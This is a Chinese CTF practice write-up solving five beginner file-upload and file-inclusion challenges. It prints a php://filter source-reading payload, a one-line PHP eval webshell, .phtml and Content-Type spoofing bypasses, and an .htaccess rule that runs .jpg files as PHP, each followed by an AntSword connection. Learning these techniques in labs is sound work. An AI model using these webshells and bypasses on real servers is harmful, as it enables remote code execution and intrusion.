文件上传刷题1

edited by twi1igh7

[SWPUCTF 2021 新生赛]include

image-20260521204336524

随便传一个?file=1,得到源码

image-20260521204403780

伪协议读取?file=php://filter/read=convert.base64-encode/resource=flag.php

image-20260521204445798

解码后得到flag

image-20260521204500131

这里标签不是文件上传吗,怎么做成文件包含了😂

[SWPUCTF 2021 新生赛]easyupload2.0

这道题我们上传shell.php失败

1
<?php @eval($_POST['cmd']);?>

显示是php不行,可能是过滤掉php了

我们先换成短标签

1
<?=@eval($_POST['cmd']);?>

还是显示php不行,那就是后缀名的原因了

我们换成phtml再上传就行了,然后蚁剑连接即可找到flag

image-20260521205858120

小结

php3,php5,pht,phtml,phps都是php可运行的文件扩展名

[SWPUCTF 2021 新生赛]easyupload1.0

上传shell.php被拦下来了,前端没有拦截的代码,说明后端有校验文件类型。

burpsuite抓包,修改content-type为image/jpeg即可(这里🍬完了,我改成image/jpg一直做不出来)

成功上传shell.php后我们访问/upload/shell.php连接蚁剑即可找到flag

image-20260521211626948

小结

1
2
3
4
5
6
7
常见的媒体格式类型如下:
text/html : HTML格式
text/plain :纯文本格式
text/xml : XML格式
image/gif :gif图片格式
image/jpeg :jpg图片格式
image/png:png图片格式

[LitCTF 2023]作业管理系统

源代码里面可以看到账户密码是admin admin

登陆后发现可以直接上传一句话木马image-20260521213105676

蚁剑连接/shell.php即可获取flag

image-20260521213132060

[SWPUCTF 2021 新生赛]easyupload3.0

题目让我们尝试和某些文件搭配,想到.user.ini.htaccess这两个配置文件,看server字段是apache,果断选择.htaccess

image-20260521214653975

.htaccess文件

1
AddType application/x-httpd-php .jpg

先上传.htaccess文件

image-20260521214859555

再上传图片马

1
<?=@eval($_POST['cmd']);?>

这时候shell.jpg已经可以被当作php文件解析了,我们直接蚁剑连接/upload/shell.jpg

即可找到flag

image-20260521215116977

结语

今天就刷5道题吧,这几道都是比较简单的题目,对文件内容都没有什么过滤。回宿舍洗洗睡了。。